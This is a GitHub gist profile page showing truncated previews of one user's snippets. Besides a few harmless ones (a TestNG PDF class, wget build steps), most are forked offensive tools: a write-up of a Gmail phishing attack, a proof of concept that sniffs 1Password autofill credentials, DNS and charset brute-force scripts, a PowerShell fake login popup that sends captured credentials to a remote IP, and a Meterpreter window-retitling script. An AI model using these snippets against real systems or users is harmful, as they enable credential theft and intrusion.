Skip to content

Instantly share code, notes, and snippets.

View prashanth-sams's full-sized avatar
🍎
Each day is interesting!!!

Prashanth Sams prashanth-sams

🍎
Each day is interesting!!!
View GitHub Profile
package testng.samples;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;
import org.testng.ITestContext;
import org.testng.TestNG;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URL;
import org.apache.pdfbox.pdfparser.PDFParser;
import org.apache.pdfbox.util.PDFTextStripper;
public class PlayWithPDF {
@prashanth-sams
prashanth-sams / gist:8d2589b668d04c4552d9616c3d407015
Last active October 8, 2016 22:50 — forked from burakerdem/gist:d8195e6e343aa55ff578
Installing wget on Mac OS X El Capitan 10.11
curl -O http://ftp.gnu.org/gnu/wget/wget-1.17.tar.gz
tar -xzf wget-1.17.tar.gz
cd wget-1.17
ln -s /usr/local/opt/openssl /usr/local/ssl
./configure --with-ssl=openssl
./configure --with-ssl=openssl --with-libssl-prefix=/usr/local/ssl
make
sudo make install
wget --help
cd .. && rm -rf wget*
@prashanth-sams
prashanth-sams / 0_reuse_code.js
Created March 12, 2017 14:59
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@prashanth-sams
prashanth-sams / attack.md
Created March 20, 2017 12:50 — forked from timruffles/attack.md
Chrome/Gmail attack received 11/03/2016. Not sure if the Chrome meta refresh + data:text,html technique is novel.

The following attack will display a "you've been signed out" page for GMail, and attempt to steal your account credentials.

DO NOT PUT ANY ACCOUNT CREDENTIALS INTO ANY TABS CREATED AFTER VISITING THESE LINKS :)

I received an email in my GMail inbox with a fake attachment image, styled to look like the real GMail attachment UI:

fake

This linked to a page that ended up displaying a fake "you've been signed out" link, via the data:text/html... URL feature of Chrome:

@prashanth-sams
prashanth-sams / steal_1password_creds.rb
Created March 20, 2017 12:52 — forked from claudijd/steal_1password_creds.rb
Steal 1Password credentials from browser auto-fill PoC
# Path setting slight of hand:
$: << File.expand_path("../../lib", __FILE__)
require 'packetfu'
require 'json'
capture_thread = Thread.new do
cap = PacketFu::Capture.new(:iface => 'lo0', :start => true)
cap.stream.each do |p|
pkt = PacketFu::Packet.parse p
if pkt.payload.include?("executeFillScript")
@prashanth-sams
prashanth-sams / brutelist.rb
Created March 20, 2017 12:53 — forked from mubix/brutelist.rb
Just charset brute force script
#!/usr/bin/env ruby
#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#
def result?(sub)
puts sub
1 == 2
@prashanth-sams
prashanth-sams / brutedns.rb
Created March 20, 2017 12:53 — forked from mubix/brutedns.rb
Iteratively brutes dns hostnames
#!/usr/bin/env ruby
#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#
@domain = 'contoso.com'
def result?(sub)
results = %x(dig +noall #{sub}.#{@domain} +answer)
@prashanth-sams
prashanth-sams / powershellpopup.ps1
Created March 20, 2017 12:53 — forked from mubix/powershellpopup.ps1
Powershell Popups, proxy aware and auth aware
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
@prashanth-sams
prashanth-sams / hacked_windowtext.rb
Created March 20, 2017 12:54 — forked from mubix/hacked_windowtext.rb
Sets all of the windows titles for the current user to "Hacked"
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
end
end